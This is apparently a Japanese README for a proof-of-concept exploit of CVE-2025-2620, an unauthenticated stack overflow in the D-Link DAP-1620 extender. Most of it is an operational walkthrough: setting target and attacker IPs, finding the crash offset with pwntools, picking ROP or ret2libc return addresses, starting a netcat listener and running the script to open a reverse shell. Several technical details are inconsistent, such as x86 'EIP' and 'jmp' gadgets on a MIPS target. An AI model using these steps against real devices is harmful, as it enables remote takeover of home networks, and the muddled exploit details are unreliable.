CVE-2025-2620 概念実証（PoC）エクスプロイト

概要

このリポジトリには、ファームウェアバージョン 1.03 を実行している D-Link DAP-1620 ルーターで発見された深刻なスタックベースのバッファオーバーフロー脆弱性である CVE-2025-2620 用の高度な概念実証（PoC）エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターのWebサーバーをクラッシュさせ（サービス拒否、DoS）、任意のコードを実行できる可能性があります（リモートコード実行、RCE）。

このプロジェクトの目的は、エクスプロイト開発スキルを実証することです。

脆弱性の詳細

CVE の説明

CVE-2025-2620 は、D-Link DAP-1620 ルーターの mod_graph_auth_uri_handler 関数に影響を与えます。具体的には /storage エンドポイント内です。この脆弱性は不適切な境界チェックが原因で、攻撃者が割り当てられたバッファサイズを超える大きな入力を送信できるようになり、スタックベースのバッファオーバーフローを引き起こします。

影響

サービス拒否（DoS）: ルーターのHTTPサーバーをクラッシュさせ、再起動するまで応答不能にします。
リモートコード実行（RCE）: 攻撃者は戻りアドレスを上書きし、ルーターの MIPSベースのアーキテクチャ上で任意のコードを実行できます。
認証不要: この脆弱性は認証情報なしでリモートからトリガーできるため、深刻度が高まります。

技術的な詳細

脆弱性のある関数は、HTTPリクエストからの認証パラメータ（auth）を処理します：

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

攻撃者が過大なペイロード（例：1024バイト以上）を送信すると、関数の戻りアドレスを含む隣接するメモリを上書きし、コード実行につながる可能性があります。

CVSS v3.1 スコア：9.8（緊急）

影響を受けるデバイス

D-Link DAP-1620 は、以下の仕様を持つ Wi-Fi レンジエクステンダーです：

CPU: Realtek RTL8197F（MIPS 24Kc、約600 MHz）
RAM: 64 MB
Flash: 16 MB
Wi-Fi: デュアルバンド 802.11ac
ファームウェア: 1.03（脆弱性確認済み）

同様のファームウェアを使用している他の D-Link ルーター/エクステンダーも影響を受ける可能性があります。

開示のタイムライン

2025年3月22日 – CVE-2025-2620 が NVD/MITRE に公開されました。
2025年3月22日 – このPoCが開発・テストされました。
2025年3月22日 – 現時点でD-Linkからの公式パッチはありません。

PoC エクスプロイトの詳細

特徴

複合PoC – バッファオーバーフローテストとRCEエクスプロイトの両方を含む。
スタックベースのバッファオーバーフローテスト – 脆弱なルーターを識別する。
完全なリモートコード実行（RCE）エクスプロイト – リバースシェルを起動する。
設定可能なペイロードサイズと戻りアドレス – 異なるルーターモデルに適応可能。
拡張デバッグ – クラッシュオフセットをログに記録してエクスプロイトパラメータを調整する。

インストールと使用方法

ステップ1：リポジトリのクローン

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

ステップ2：依存関係のインストール

Python3 と pwntools がインストールされていることを確認してください：

pip install pwntools

ステップ3：エクスプロイトの設定

CVE-2025-2620_poc.py スクリプトを変更します：

ルーターのIPを設定：

TARGET_IP = "192.168.0.1"  # change to match your router

攻撃マシンのIPを設定：

ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

必要に応じてバッファサイズを調整：

BUFFER_SIZE = 8000  # Increase if the router does not crash

EIPオフセットを見つけて戻りアドレスを設定：

ステップ1：サイクリックパターンを送信

PoCを変更して、一意のパターンを生成して送信します：

MODE = "overflow"  # Set to "overflow" to find the offset

スクリプトを実行します：

python3 CVE-2025-2620_poc.py

ステップ2：クラッシュアドレスを確認

ルーターをクラッシュさせた後、セグメンテーションフォールトアドレス（x86ではEIP、MIPSではRA）を以下から確認します：

ルーターログ
デバッガー（gdb）
dmesg | grep 'segfault'

0x61616161 のようなアドレスを探します（これはサイクリックパターンの一部が戻りポインタを上書きしたことを意味します）。

ステップ3：オフセットを見つける

cyclic_find を使用して正確なオフセットを特定します：

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

これで正確なOFFSET値が得られます。PoCを更新します：

OFFSET = <FOUND OFFSET>  # Replace with the actual number

ステップ4：適切な戻りアドレス（`RET_ADDR`）を見つける

オプション1：JMP または CALL ガジェットを見つける
```
ROPgadget --binary vulnerable_binary | grep "jmp"
```
レジスタにジャンプするアドレスを選択します（例：jmp $sp または jmp $ra）。
オプション2：ret2libc アドレスを使用する libc 内の system() のアドレスを見つけます：
```
objdump -D /lib/libc.so.6 | grep "system"
```
次に、それを RET_ADDR として使用します：
```
RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
```

ステップ4：リスナーを起動

nc -lvnp 4444

ステップ5：エクスプロイトを実行

python3 CVE-2025-2620_poc.py --mode rce

Otsmane Ahmed によって ❤️ を込めて開発されました

攻撃ベクトル	ネットワーク
攻撃の複雑さ	低
必要な特権	なし
ユーザー操作	なし
機密性への影響	高
完全性への影響	高
可用性への影響	高

人気

CVE-2025-2620-poc